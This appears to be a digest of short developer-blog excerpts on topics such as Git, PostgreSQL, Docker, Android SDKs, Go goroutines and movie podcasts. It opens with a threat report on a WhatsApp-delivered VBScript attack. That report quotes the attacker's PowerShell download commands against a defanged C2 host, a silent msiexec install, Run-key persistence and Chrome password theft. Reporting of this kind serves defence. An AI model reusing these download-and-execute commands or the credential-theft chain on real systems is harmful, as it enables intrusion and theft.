Initial Access & Delivery Chain Summary Threat actors leveraged WhatsApp as the initial access channel, sending messages to multiple employees within the organization to build trust before sharing a malicious ZIP file. Since ZIP files cannot be opened on mobile devices, users were compelled to access the archive on their endpoints, where they were deceived into executing an embedded VBScript payload. Execution of the VBScript initiated a multi-stage payload delivery mechanism, where it: Downloaded a secondary VBScript and an MSI installer from a remote C2 server (varegjopeaks[.]com) and saved them to the temporary directory. Executed the MSI file silently via msiexec.exe, which dropped an additional VBS script named “installer”. Created persistence by adding the installer script to the Run registry key. Downloaded a specific Python environment and executed a PowerShell script that profiled the installed Chrome version and downloaded the official Chrome test automation driver. Accessed and exfiltrated credentials stored in the Chrome password vault, continuously harvesting newly saved passwords due to the established persistence. Observed Malicious Execution Activity WScript Executions "wscript.exe" C:\Users*\AppData\Local\Temp\baixa_sscado.vbs "WScript.exe" C:\Users*\AppData\Local\Temp**.zip.0e6*.vbs "wscript.exe" C:\Users*\AppData\Local\Temp\installer.vbs PowerShell Download Activity "powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/baixa_sscado.vbs' -OutFile $env:TEMP\baixa_sscado.vbs -UseBasicParsing" "powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/teste_obscado.vbs' -OutFile $env:TEMP\installer.vbs -UseBasicParsing" "powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/installer.msi' -OutFile $env:TEMP\installer.msi -UseBasicParsing" Msiexec Execution "msiexec.exe" /i C:\Users*\AppData\Local\Temp\installer.msi /quiet /norestart  ( 6 min )

Table of Contents Introduction Understanding the Android Ads SDK Landscape. Architectural Foundations for Your SDK. Performance Optimization Techniques. Balancing Monetization and User Experience. Technical Implementation Details. Testing and Monitoring. Future-Proofing Your SDK Conclusion. Introduction: Understanding the Android Ads SDK Landscape The Current State of Mobile Advertising: The mobile advertising ecosystem has matured significantly over the past decade. Today, developers have access to multiple monetization models: Cost Per Mille (CPM) for impressions, Cost Per Click (CPC) for user interactions, and Cost Per Install (CPI) for app downloads. This diversity offers flexibility but also introduces complexity when deciding which models your SDK should support. The shift toward pro…  ( 19 min )

Pre-requisites You have PostgreSQL installed in your system. You have root privileges Logging into psql as root Open your terminal and Enter the following commands - sudo -i -u postgres psql and press enter. You have entered the psql terminal. First, you need to have a user with which you will login to the database. CREATE USER new_username WITH ENCRYPTED PASSWORD 'your_secure_password'; CREATE DATABASE database_name; GRANT ALL PRIVILEGES ON DATABASE database_name TO new_username; \q to exit the psql terminal and exit the postgres session. Run the below command to verify whether you are able to login to the database - psql -U test_user my_blog_db_test psql: error: connection to server on socket "/var/run/postgresql/.s.PGSQL.5432" failed: FATAL: Peer authentication failed for user "test_user" This error arises because postgres is set to use peer authentication by default. We need to change this to md5 in /etc/postgresql/14/main/pg_hba.conf Open /etc/postgresql/14/main/pg_hba.conf in the editor of your choice. Search for local all postgres peer in the file Add this line below the postgres config - local all test_user md5 Restart the postgres service. sudo systemctl restart postgresql Login to postgres - psql -U test_user my_blog_db_test and enter the password when prompted. Congratulations! You have successfully created your database.  ( 6 min )

In today’s distributed IT landscape, identity has become the foundation of enterprise security. With organizations relying on a mix of on-premises systems, cloud platforms, SaaS applications, and mobile devices, identity data now moves and changes constantly. Protecting this dynamic environment requires more than periodic checks—it demands a proactive, well-structured approach to continuous identity governance and threat awareness. Modern infrastructures include multiple interconnected identity sources that evolve independently yet influence each other. Administrators rotate, automation updates accounts, external partners gain temporary access, and new cloud services introduce fresh permission models. Even a single misconfiguration—such as an overly permissive role, a reactivated dormant u…  ( 7 min )

Git Force Push: Bypassing Repository Protection Rules When you encounter repository rule violations while pushing code, here's how to override these restrictions safely. Method 1: Temporary Rule Disable Navigate to your repository's settings panel Locate the branch protection section Temporarily disable the following safeguards: Mandatory review requirements Status verification checks Administrator inclusion rules Execute your push command with force flags Immediately restore all protection rules Method 2: Safer Force Alternatives # Preferred method - verifies remote state git push target-repository primary-branch --force-with-lease # Standard force override (use cautiously) git push target-repository primary-branch --force Method 3: Token Authentication Bypass When standard authentication fails: Generate dedicated access credentials Incorporate them into your repository URL Execute the push command with necessary flags ⚠️ Critical Considerations Collaboration Impact: Rewriting history can disrupt team workflows Data Integrity: Potential for irreversible code loss Best Practice: Always use feature branches for significant changes Emergency Use: Reserve these methods for genuine emergencies Recommended Workflow For team projects, prefer this approach: git checkout -b feature-description git push target-repository feature-description # Initiate merge request through web interface Remember: With great power comes great responsibility. Use these methods judiciously and always communicate with your team before overriding repository protections.  ( 6 min )

🔥 Git as Naruto Jutsu --- Ultimate Cheat Sheet No Pain No Gain git pull → Banshō Ten'in (Universal Pull) Pulls all remote changes toward you --- sometimes dragging you into git push → Shinra Tensei (Almighty Push) Blast your commits to the remote. Errors? Cooldown needed. git add → Summoning Jutsu Select which files you want to bring into the next commit. git commit → Chibaku Tensei (Planetary Devastation) Seal all your changes into one perfect sphere (commit). git merge → Edo Tensei Bring two branches back together. Sometimes peaceful, sometimes chaotic. git push -f → Revival of the Outer Path Overwrite history. Forbidden technique. Use carefully. git stash → Flying Thunder God Technique Teleport your work away instantly and return to a clean slate. git branch → Shadow Clone Jutsu Split into multiple versions for experimentation. git rebase → Infinite Tsukuyomi Rewrite history like it never happened. git revert → Izanagi / Izanami Undo destruction and restore order --- at the cost of one commit eye. Local repo = Nagato's real body Remote repo = Origin of Pain Commit chain = Six Paths Merge conflicts = chakra overload  ( 6 min )

Photo by @flyd2069 on Unsplash It was a typical Tuesday afternoon. I was working on my PayStack Complete API project, making some final tweaks before pushing to GitHub. I ran the usual commands: git add . git commit -m "Updated environment configuration" git push -u origin main And then it happened - the dreaded red text: remote: error: GH013: Repository rule violations found for refs/heads/main. remote: - GITHUB PUSH PROTECTION remote: ————————————————————————————————————————— remote: Resolve the following violations before pushing again remote: - Push cannot contain secrets My heart sank. GitHub had detected a Stripe API Key in my commit history and blocked the push. The violation was clear: Secret Type: Stripe API Key Location: Commit 47b22e5f1d4a9bc6...... File: .env:6 …  ( 8 min )

Introduction In Part 1, we have fine tuned a neural network to detect coffee first crack from audio using PyTorch and the Audio Spectrogram Transformer. In Part 2, we have built two MCP (Model Context Protocol) servers - one to control my Hottop KN-8828B-2K+ roaster and another to detect first crack using a microphone in real-time. This is where put it all together. But first: can .NET Aspire orchestrate Python MCP servers and n8n workflows to autonomously roast coffee? Spoiler alert: Yes, it can. And the coffee tastes spot on. Autonomous coffee roasting isn't just about detecting when first crack happens. It's a complex orchestration problem involving: Multiple systems: Python MCP servers to interact with hardware, an agent layer for orchestration (n8n workflows to begin with), contain…  ( 14 min )

Let us create a fully custom WebView app with advanced features in Java. Here's a comprehensive implementation: package com.example.customwebview; import android.annotation.SuppressLint; import android.content.Intent; import android.graphics.Bitmap; import android.net.Uri; import android.os.Bundle; import android.os.Handler; import android.os.Looper; import android.view.KeyEvent; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.webkit.*; import android.widget.EditText; import android.widget.ImageButton; import android.widget.LinearLayout; import android.widget.ProgressBar; import android.widget.TextView; import androidx.appcompat.app.AppCompatActivity; import androidx.appcompat.widget.Toolbar; import androidx.swiperefreshlayout.widget.SwipeR…  ( 10 min )

React Router is evolving fast — and the next major shift is already visible through its future flags. One of the most important ones? v7_startTransition This flag activates React Router’s upcoming behavior for v7: All internal state updates in React Router will be wrapped in React.startTransition() by default. This is a structural performance upgrade. React Router will begin scheduling some updates as non‑urgent, allowing the UI to stay responsive even when navigation triggers heavy renders. In v6 today, state updates inside navigation are urgent. In v7, many of them become deferred. This means: Smooth route transitions No UI freeze when loading a large route Less jank on slow devices Navigation stays responsive even under load And you can opt‑in early using: createBrowserRoute…  ( 8 min )

Logging is one of those fundamental concerns that every application must address, yet it's often treated as an afterthought. In the JavaScript and TypeScript ecosystem, developers face a bewildering array of logging libraries: Pino, Winston, Bunyan, and countless others. Each library has its own API, quirks, and conventions. This fragmentation creates real problems: inconsistent codebases, vendor lock-in, and the constant need to rewrite logging code when requirements change. LogLayer solves these problems by providing a unified abstraction layer that sits on top of any logging library while offering a consistent, fluent API that makes logging both powerful and pleasant to use. Before diving into LogLayer's solutions, let's examine the problems it addresses. Most logging libraries share a …  ( 10 min )

Hello, I'm Ganesh. I'm working on FreeDevTools online, currently building a single platform for all development tools, cheat codes, and TL; DRs — a free, open-source hub where developers can quickly find and use tools without the hassle of searching the internet. Have you ever wondered how a vending machine knows exactly how to give you back your change? Or how computer programs figure out the most efficient way to group numbers? I wanted to understand a mathematical concept called Integer Partitions and got to know how it powers one of the most famous algorithms in Computer Science. Here is a straightforward breakdown of the logic, the code, and why it is so much faster and accurate. In simple terms, an integer partition is a way of breaking a positive integer down into a sum of smaller p…  ( 8 min )

Welcome to the second Syntax Trap. Today's all about comparing Arrays and Strings. console.log([1, 2, 3] == "1,2,3"); What's the result? NaN true false TypeError This one took me a bit to understand when I started to learn JavaScript as I was used to how other programming languages work.  ( 5 min )

Dependency Injection (DI) is a crucial design pattern in Android development, it helps in enhancing modularity, testability, and maintainability of our applications. Dagger 2.0 has long been a popular choice for DI in Android, but Hilt, a newer framework built on top of Dagger, aims to simplify its usage. This article will explore the differences between Dagger 2.0 and Hilt with their respective use cases, and when to choose one over the other. Understanding with Dagger 2.0 Versatility: Dagger allows developers to create complex dependency graphs with fine-grained control over component lifecycles and scopes. Performance: By generating code at compile time, Dagger minimizes runtime overhead, leading to better performance in production applications. Configurability: Developers can customize…  ( 7 min )

The Ringer’s Bill Simmons, Sean Fennessey, and Van Lathan dig into Brian De Palma’s Snake Eyes, breaking down Nic Cage’s over-the-top energy, the film’s twists, and why it’s a cult standout. Expect hot takes, laughs, and plenty of sewer-level enthusiasm. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is powered by PayPal—snag 5% cash back when you Pay in 4 all holiday season (offer ends 12/31). Watch on YouTube  ( 6 min )

Check out this Pen I made!  ( 5 min )

Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less takes a hilariously brutal look at the latest dino outing—counting every plot hole, overused trope and “wait, what?” moment as our favorite prehistoric pals keep getting resurrected. Expect a rapid-fire tally of sins, cheeky commentary and all the popcorn-fueled nitpicking you crave. Beyond the video roast, CinemaSins drops links to their website, socials (YouTube, TikTok, Instagram, Discord, Reddit), a sinful fan poll, and a Patreon pitch to keep the sin machine running. Shout-outs to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel seal the credits, proving it takes a small army to sin this hard. Watch on YouTube  ( 6 min )

Recentemente estava tentando fazer o clássico modelo de rede neural para identificar a espécie de uma flor entre três opções (iris dataset) só para fazer um "Hello World" no Keras e dar o primeiro passo. Entretanto, no meio do caminho tive alguns problemas que me levaram a pesquisar mais a fundo a diferença entre algumas funções de ativação e loss functions. Dado o contexto, meu objetivo aqui é só registrar o que eu encontrei enquanto estudava. Não sou especialista nesse assunto então não tome o que for dito aqui como verdade absoluta. Se você for experiente e notar algum erro em algo que eu disse, correções são bem vindas. A primeira coisa que eu notei é que no Keras e em bibliotecas de redes neurais em geral, fala-se bastante de uma função de ativação que eu ouvi muito pouco antes de mex…  ( 8 min )

Hey, interactive online course that lets you practice directly in a simulated terminal. 👉 Windows CLI Course: https://windows-cli.arnost.org/ It walks through the basics of the Windows command line with guided lessons and real-time practice.  ( 6 min )

Data visualization today is both an art and a science. As organizations adopt data-driven decision-making, the ability to present insights clearly—and interactively—becomes incredibly valuable. R offers a variety of visualization libraries, with ggplot2, ggvis, and lattice being long-standing favorites. But when it comes to interactive graphics, static plots often fall short in performance, flexibility, and user experience. What is Plotly? Advantages of Plotly Build D3-level visualizations without D3 You get the power of interactive DOM-based charts without needing to learn JavaScript. Multi-language support Plotly works across Python, R, MATLAB, and JavaScript—making it multi-disciplinary. Easy hosting & sharing Charts can be exported, embedded, or hosted via Plotly’s cloud. Chart Studio …  ( 9 min )

Are you tired of checking multiple e-commerce sites manually for price drops? This Python-based open-source tool monitors product prices in real-time across Amazon, eBay, Walmart, and Temu, and sends instant notifications via Telegram It also supports proxies, currency conversion, advanced filtering, and JSON export for easy data analysis. Real-time price monitoring across multiple marketplaces GUI and CLI modes Telegram bot notifications Proxy support for reliable scraping Multi-platform search and advanced filters Export results to JSON Currency conversion to USD Open-source and easy to extend gui mode Clone the repository: bash git clone https://github.com/Patchloop/realtime-price-monitor cd realtime-price-monitor pip install -r requirements.txt  ( 6 min )

Introduction Key Terms Virtual Machine (VM): A software-based computer that runs an operating system and applications like a physical computer, but is hosted on a cloud or virtualization platform. Azure: Microsoft’s cloud computing platform offering services like virtual machines, storage, networking, and more. Windows Server 2022 Datacenter: A server operating system optimized for enterprise workloads, virtualization, and cloud integration. RDP (Remote Desktop Protocol): A protocol that allows you to connect and control a remote computer over a network. IIS (Internet Information Services): A web server developed by Microsoft for hosting websites and web applications. Availability Zone: A physically separate location within an Azure region that provides high availability and fault toleranc…  ( 8 min )

Hey, interactive online course that lets you practice directly in a simulated terminal. 👉 https://windows-cli.arnost.org/ It covers the basics of the Windows command line with guided lessons and real-time practice.  ( 6 min )

Hydration is one of the most important concepts in modern frontend frameworks, yet also one of the most misunderstood. In 2025, frameworks like React 18+, Vue/Nuxt 3, SvelteKit, SolidStart, Qwik, Astro all approach hydration differently — some progressively, some selectively, some partially, some never fully. This post breaks it all down with real examples, SSR + SSG scenarios, and an extended example so the concept stays in your mind forever. When a page is SSR or SSG, the browser gets plain HTML: Click me Item 1 Item 2 But HTML alone does nothing — no JavaScript, no event listeners. Hydration is when the framework: Loads JS bundles Recreates the virtual component tree Attaches event listeners Activates rea…  ( 9 min )

HubSpot forms are widely used for lead generation, newsletters, onboarding workflows, and marketing funnels. But when developers try to embed a HubSpot form inside a Next.js project, the default embed snippet usually fails. Forms don’t load, scripts break, and SSR errors begin to appear. Before implementing anything, it’s important to understand why this happens in a Next.js environment. This article covers theory only — the actual working solution is linked at the end. HubSpot provides an embed script that works perfectly in standard HTML sites. But Next.js renders pages on both the server and the client, causing conflicts. Here’s why the embed fails: window During SSR, window doesn’t exist — so HubSpot script breaks. It needs a target div in the DOM, which only exists after hydrati…  ( 7 min )

I Got My First Dev Job After 6 Months of Rejections - Here's What Actually Worked Hey, Just accepted my first junior dev position and wanted to share what actually got me there, because it wasn't what everyone on Reddit tells you. My "Perfect" Resume That Nobody Wanted CS degree, internships, active GitHub, LeetCode grind. Had all the boxes checked. Still got ghosted by 95% of companies for months. The breaking point was people telling me "AI will replace you anyway" while I'm literally shipping code every day. Felt insane. What Actually Changed Honestly, I didn't suddenly get better at coding. Three things shifted: Stopped spray-and-pray applications. Used to send 20+ apps/week with the same resume. Started doing 5/week but actually researched each company - matched my resume to their t…  ( 7 min )

A domain is more than just an address — it’s your brand, identity, and the first impression users get when they find you online. Choosing the right one can feel stressful, but with a bit of strategy, it's totally doable. Here’s how to pick a domain that looks professional, sounds clean, and works long-term. Short domains are easier to type, share, and remember. Good examples: stripe.com github.com sx.dev Avoid long phrases, hyphens, or weird spellings. If someone can’t repeat your domain after hearing it once, it’s too complicated. Your domain should reflect your project, team, or brand idea. Ask yourself: What does my product do? What feeling or concept should the domain communicate? Would a stranger understand something from the name alone? Meaning increases trust. The TLD (Top-Level D…  ( 7 min )

When working with LLMs, even small details—like how you format your data—can add up to noticeable differences in cost and performance. One of the new formats people have been experimenting with is called Toon(Token-Oriented Object Notation), and it’s gaining attention because of how compact it is. It conveys structured information like JSON or XML, but with fewer characters, which usually means fewer tokens. This doesn’t replace established formats. JSON and XML are excellent for APIs, external integrations, and strict data handling. Toon simply offers a lighter alternative specifically for situations where data is being processed inside an LLM prompt or response, where size matters more than strict formal structure. Below, I’ll walk through what Toon looks like, how to write it, how to cr…  ( 10 min )

Introduction Apache Iceberg is a widely-used table format in Data Lakehouse architectures. It provides flexibility in how data is written, with two key optimizations: partition, which splits data into segments, and sort, which reorders data within those segments. These optimizations can significantly reduce the amount of data scanned by query engines, ultimately boosting query performance. When querying data with high-cardinality columns (e.g., IDs or serial numbers), quickly filtering out unnecessary values is crucial. Sorting becomes particularly valuable in these scenarios. The rationale is simple: if data is written in order, query engines can rapidly locate the needed data rather than performing a full table scan and discarding irrelevant rows. When configuring Iceberg table sort pr…  ( 12 min )

Introduction What is the Shadowing Technique? Why is the Shadowing Technique Effective? Active Engagement: Unlike passive listening, shadowing requires active participation, which helps reinforce learning and retention. Step 1: Choose the Right Materials Frustration with Progress: It’s normal to feel frustrated if progress seems slow. Remember that fluency takes time, and celebrate small victories. Additional Resources Online Courses: Platforms like Coursera and Udemy offer courses specifically focused on improving English speaking skills. Language Apps: Apps like HelloTalk and Tandem connect you with native speakers for real-time practice. YouTube Channels: Channels like “English with Lucy” provide valuable tips and resources for mastering English fluency. By integrating the shadowing technique into your language learning routine, you’ll be well on your way to achieving the fluency and confidence you’ve always wanted. Happy shadowing!  ( 8 min )

I’m excited to share my latest project — Narwade's Health Club, a full-stack fitness website built to provide a modern, interactive experience for gym members and fitness enthusiasts. Live : Visit Site Source Code : GitHub Repo LinkedIn : LinkedIn Narwade's Health Club is a fully responsive website designed to showcase the gym’s services, membership plans, and tools like a BMI calculator. It also includes a contact form and a gallery to highlight the fitness community. The site is built with a clean UI and real-world functionality to help users explore the gym, calculate their BMI, and get in touch — all from one platform. 🏠 Homepage – Engaging hero section with a strong call-to-action 💳 Membership Plans – Multiple tiers 🧮 BMI Calculator – Gender-aware BMI calculation with visual feedback 🖼️ Gallery – Visual showcase of the gym and community 📞 Contact Form – Functional form with validation 📱 Fully Responsive – Optimized for all screen sizes Frontend: React.js, Tailwind CSS, React Icons Backend: Node.js, Express.js, MongoDB  ( 6 min )

Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building one place for all dev tools, cheat codes, and TLDRs — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet. FreeDevTools started as a static Astro Dev Resource site. It worked perfectly when the project had a few thousand resources. But as the collection crossed 125,000+ pages, the static approach collapsed under its own weight. This post documents the real migration journey, why static rendering broke, why SSR became unavoidable, and the exact technical changes needed to convert Astro static routes into stable SSR pages without breaking routing, pagination, or content collections. This is not theory. This is exactly what happened while migr…  ( 9 min )

Rediscovering the Joy of Coding --- Writing My First Real Program in Pascal There's something magical about going back to the roots. Hey everyone, Bek here ! As a programmer, I've spent years bouncing between Python, Rust, Go, C#, So I did something unexpected. I went back to Pascal. Pascal feels like the programming equivalent of a freshly cleaned desk: The syntax is easy to memorize\ It's incredibly readable\ It forces you to think clearly\ And it gives you this warm, retro "I'm actually writing a program" feeling Writing Pascal makes me feel like a programmer again --- not just a Before diving into anything big, I wanted a simple project that still does something: a tiny health checker that calculates BMI and prints a It was such a small program... but writing it in Pascal was fun. No fighting the language.\ Just clean structure and pure logic. After the health checker, I decided to stretch Pascal a bit --- just I created a full Retro Journal System with: A fake boot sequence\ A menu\ A file-based journal\ Search functionality\ Statistics\ Retro green terminal vibes It's one of those tiny programs that reminds you why you started coding Final Thoughts This Pascal adventure reminded me of something important:\ Programming is supposed to be fun. Not stressful.\ Just fun. And Pascal --- with its simple structure and old-school charm --- If you've been feeling burned out or nostalgic, try writing a tiny Pascal program.\ You might surprise yourself.  ( 7 min )

AI is powerful, but it behaves like someone giving you advice with zero receipts. If a model says your code efficiency score is 92, you have no idea if: the server massaged the score the result was cached from someone else’s input the data magically “changed” on its way to your screen This is fine for casual apps. AI gives great answers. Forget complex crypto terms. Forget heavy smart contracts. Immutability Once something is written, it’s stuck there forever. Even the developer who deployed the contract can’t fix a typo. Trust me, they’ve tried. Independent verification Anyone can check the hash. You don’t have to “just trust the server”. Tamper detection If someone alters the AI output, even a single comma, the hash disagrees like a strict teacher grading a shaky assignment. This gives y…  ( 8 min )

Push-based or Pull-based are synchronize code/config between dev, server and repository - but mechanism of synchronization is different. In push-based, we'll have an CI/CD flow which active "push" the changes to server. This model usually use in traditional deployment, apply the changes after pipeline run directly. Pros: Easy to deployment Re-use existing pipeline Immediate execution Cons: Hard to track drift Pipeline dependence Rollback missing Security risk Audit challenges In pull-based, the server actively pulls changes from the project’s repository. This approach is called GitOps, where Git acts as the Single Source of Truth. The workflow is similar to push-based, but with some key differences - The pipeline won't deploy to server directly - We add an agent (ArgoCD / Flux) to the server side, which continuously observes the project’s repository and pulls the changes to apply them to the server whenever updates occur. Pros: Automation Easy rollback Multi-cluster support Cons: Agent installation Complex configuration Polling latency Criteria Pull-Based Push-Based Status Synchronization Automation Manual (triggered by pipeline run) Installation Install agent in server side No need agent Suitable For Kubernetes, multi-cluster, complex project Medium-sized project, simple pipeline Security More secure (server only pulls from Git) High risk (pipeline needs direct access to server)  ( 6 min )

Swift 6.2, released in September 2025, introduces a groundbreaking feature that fundamentally changes how we can use Swift's type system: Integer Generic Parameters. This feature, formalized through Swift Evolution proposal SE-0452, brings Swift closer to languages like C++ and Rust while maintaining Swift's characteristic safety and clarity. Before diving into integer generic parameters, let's establish what generic parameters are in Swift. Generic parameters allow you to write flexible, reusable code that can work with any type. They're the foundation of Swift's type system and power many of the standard library's most useful features. When you write a generic type or function, you use placeholder type names (commonly T, Element, or descriptive names) that get replaced with actual types …  ( 15 min )

‘Snake Eyes’ Rewatch Bill Simmons, Sean Fennessey, and Van Lathan dive into Brian De Palma’s thriller, breaking down Nic Cage’s carnival-barker swagger, Gary Sinise’s sinister shifts, and Carla Gugino’s scene-stealing moments—complete with their signature sewer-worthy banter. Episode Details Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo. Brought to you by PayPal’s Pay in 4 holiday deal (5% cash back!). Watch on YouTube  ( 6 min )

TL;DR CinemaSins just dropped a 17-minute roast of Jurassic World: Rebirth, tallying up every plot hole, cliché and “you’ve-gotta-be-kidding-me” moment as dinosaurs rise (again) and fans can’t look away. It’s everything you love—mildly sarcastic commentary, rapid-fire jabs and, of course, a final sin count that’ll make you chuckle. Want more? They’ve got your back with a full link tree (YouTube channels, website, polls and Patreon), plus a shout-out to their sinning squad of writers on Twitter and Instagram, a Discord server, Reddit community, TikTok and even a book by Jeremy. Enjoy the carnivorous fun! Watch on YouTube  ( 6 min )

Event Sourcing is transforming how we build modern applications. Companies like Uber, Netflix, and Amazon use it to build scalable, auditable systems. But if you're a Swift developer wanting to leverage this powerful pattern, you've been out of luck—until now. Today, I'm excited to share KurrentDB-Swift, a production-ready Swift client for Kurrent (formerly EventStoreDB) that brings enterprise-grade Event Sourcing capabilities to the Swift ecosystem. Before we dive in, here's what KurrentDB-Swift brings to the table: ⏱️ Over 1 year of active development 💪 425+ commits across 46 releases 📦 Available on Swift Package Index ✅ Zero data-race safety (Swift 6 ready) 📚 Comprehensive documentation with tutorials 🔧 Actively maintained (last update: 3 days ago) Server-Side Swift is maturing ra…  ( 11 min )

Biniax is a very simple, but interesting, vertical scrolling , matching game. You have to move you piece to collapse against the piece This is how we start. The game is written in ANSI C and uses SDL. I had to fix the source code for compilation, it is maintained here https://github.com/orsenthil/biniax2/tree/main, and the architecture gives the architectural concepts for developement.  ( 6 min )

Table of Contents Introduction What is Machine Learning? Classic vs. Adaptive Machines The Machine Learning Life Cycle Raw Data, Information, and Feature Engineering Types of Data: Labeled vs. Unlabeled Types of Learning: Supervised, Unsupervised, Reinforcement Train-Test Split, Validation, and Overfitting/Underfitting Bias-Variance Tradeoff Confusion Matrix & Classification Metrics Data Preprocessing & Feature Scaling Categorical Encoding Overview of ML Algorithms Regression (Linear/Polynomial) Classification Clustering (K-Means) Dimensionality Reduction (PCA) Decision Tree, Random Forest, SVM, KNN, Naive Bayes Basics of Reinforcement Learning Summary and Takeaways This post covers Machine Learning for Beginners & Students, boiling down all critical points, algorithms, concepts, and …  ( 8 min )

🚀 I'm Building My Own Container Runtime! This is part of a complete series where I'm building Conti - a container runtime from scratch. Check it out on GitHub! About This Series: I'm sharing everything I learn while building my own container runtime Most concepts come from videos, documentation, and LLM-assisted learning (for educational purposes) Focus: Understanding through practice - raw Linux commands and practical implementation Important: When building your own container, DON'T copy code from sources - it kills the fun! Write it yourself, break things, debug, and learn. Why Build Your Own? Deep understanding of how containers really work Master low-level Linux concepts Learn by doing, not just reading It's incredibly fun when things finally click! Control Groups (Cgroups) are a Linu…  ( 10 min )

Since the academy era and throughout documentation digging, the Big O has been a de-facto standard for evaluating algorithms: from sorting and look-up in a collection to insertion operations or even simple palindrome checks (especially in interview live-coding sessions). However, efficiency is not the same as "best to use in this case". Disclaimer This article focuses on practical understanding of algorithmic complexity for real-world engineering. The explanation of asymptotic notation is intentionally simplified and does not cover all formal mathematical details (Θ, Ω, ω, etc.). All performance comparisons assume typical hardware behavior and ignore machine-specific optimizations unless stated. The small-N "impossible cases" are illustrative and not meant as practical recommendations. Big…  ( 17 min )

In a world where most IT problems are treated as ticket numbers, stories like this discussion about why trust and clear communication matter more than any copier part feel uncomfortably relevant to how we build software, run infrastructure, and work with vendors today. We rarely think about trust as a “technical” topic, yet it quietly decides which projects ship, which incidents get resolved quickly, and which partnerships survive the first real outage. Tools can be replaced, architectures can be refactored, but once trust is gone, everything starts to wobble. For developers and technical leaders, this isn’t abstract philosophy. Your daily work rests on an invisible layer of human relationships: your team, your manager, your vendors, and your users. Without trust and clear communication, t…  ( 10 min )

Goroutines are one of Go’s biggest superpowers — lightweight, fast, and easy to spin up. But with great power comes great responsibility. silently leak, grow in number over time, consume memory, and eventually bring down your service. Goroutine leaks are sneaky. They often don’t break your code immediately… slowly eat your system alive. In this guide, we’ll explore: What causes goroutine leaks Real-world patterns that accidentally leak How to debug them (pprof, trace, runtime APIs) How to prevent leaks using context cancellation and proper channel patterns Production-ready best practices Let’s dive in. 🚀 A goroutine leak happens when a goroutine never exits, usually because it is: blocked on a channel waiting on a select case that never fires stuck on I/O waiting for a context that is nev…  ( 9 min )

When sharing files between a host and a Docker container, there are two main options: "named volumes" and "bind mounts". They look similar in docker-compose.yml, but their behavior is very different — and that difference can cause serious headaches if you don’t understand it. Let’s dig into what actually happens, using a real case I ran into. (Note: I’ll skip the basics of Docker and Docker Compose setup here.) Infrastructure: AWS EC2 Architecture: 64-bit ARM OS: Ubuntu Server 24.04 Docker: 28.1.1 Docker Compose: v2.35.1 Docker provides two ways to share files between the host and a container: Named Volumes Bind Mounts They look nearly identical in configuration, but behave differently when you start up your container. Let’s look at both. No "./" prefix: volu…  ( 9 min )

When sharing files between a host and a Docker container, there are two main options: "named volumes" and "bind mounts". They look similar in docker-compose.yml, but their behavior is very different — and that difference can cause serious headaches if you don’t understand it. Let’s dig into what actually happens, using a real case I ran into. (Note: I’ll skip the basics of Docker and Docker Compose setup here.) Infrastructure: AWS EC2 Architecture: 64-bit ARM OS: Ubuntu Server 24.04 Docker: 28.1.1 Docker Compose: v2.35.1 Docker provides two ways to share files between the host and a container: Named Volumes Bind Mounts They look nearly identical in configuration, but behave differently when you start up your container. Let’s look at both. No "./" prefix: volu…  ( 9 min )

Speaker: Uriel Alonso @ AWS Community Day Hong Kong 2025 Summary by Amazon Nova https://www.youtube.com/watch?v=nhrC2V4KDPQ Disaster Exposure in the Philippines: The Philippines is one of the most disaster-prone countries, ranked as such for 16 consecutive years. Experiences an average of 20 tropical storms annually, along with floods, earthquakes, landslides, and volcanic events. These hazards overwhelm first responders due to scale, frequency, mass casualties, and communication challenges. Global Challenge: Disasters are not limited to the Philippines; they are a global issue affecting many countries. Solution: Reliable Communication During Disasters: Real-time situational maps. Drone feeds to locate victims, hazards, and damage. Disconnected operations for remote or offline…  ( 8 min )

Managing AWS costs can be overwhelming, especially for startups and development teams. Running resources 24/7, oversized instances, and lack of monitoring often lead to surprise bills. But what if you could optimize costs automatically while keeping your infrastructure reliable? In this post, I’ll walk you through a practical approach to solving seven common AWS cost problems using automation and best practices Runaway AWS Costs The Problem: Dev/test resources run continuously, and bills spiral out of control. Manual Cost Management The Problem: Tracking and stopping resources manually is error‑prone and time‑consuming. Lack of Cost Visibility The Problem: Teams only notice overspending when the bill arrives. Reliability vs Cost Trade-off The Problem: Cutting costs often sacrifices uptime…  ( 7 min )

Speaker: Uriel Alonso @ AWS Community Day Hong Kong 2025 Summary by Amazon Nova https://www.youtube.com/watch?v=nhrC2V4KDPQ Disaster Exposure in the Philippines: The Philippines is one of the most disaster-prone countries, ranked as such for 16 consecutive years. Experiences an average of 20 tropical storms annually, along with floods, earthquakes, landslides, and volcanic events. These hazards overwhelm first responders due to scale, frequency, mass casualties, and communication challenges. Global Challenge: Disasters are not limited to the Philippines; they are a global issue affecting many countries. Solution: Reliable Communication During Disasters: Real-time situational maps. Drone feeds to locate victims, hazards, and damage. Disconnected operations for remote or offline…  ( 8 min )

If you still rely on Swagger Editor to draft or review OpenAPI definitions, you have probably hit its limits. It is stuck on an old version of the spec, it cannot flag most design issues, and large files quickly turn into a scrolling marathon. OpenAPI 3.2 introduces structured tags, the QUERY method, improved XML modelling, clearer multipart rules and support for event streams. None of this is recognised in the legacy editor. So here is a replacement you can actually use today: DeveloperHub - API Editor The editor is fully free, no login required, and built specifically for modern OpenAPI work. Full 3.2 support Instant linting Document outline Zero setup If you maintain APIs, review specs in pull requests, or onboard teams to OpenAPI, this gives you a straightforward and up to date tool. It is also perfect for experimenting with new 3.2 features without fighting your editor. Give it a go and feel free to share it with your team: https://app.developerhub.io/api-editor  ( 6 min )

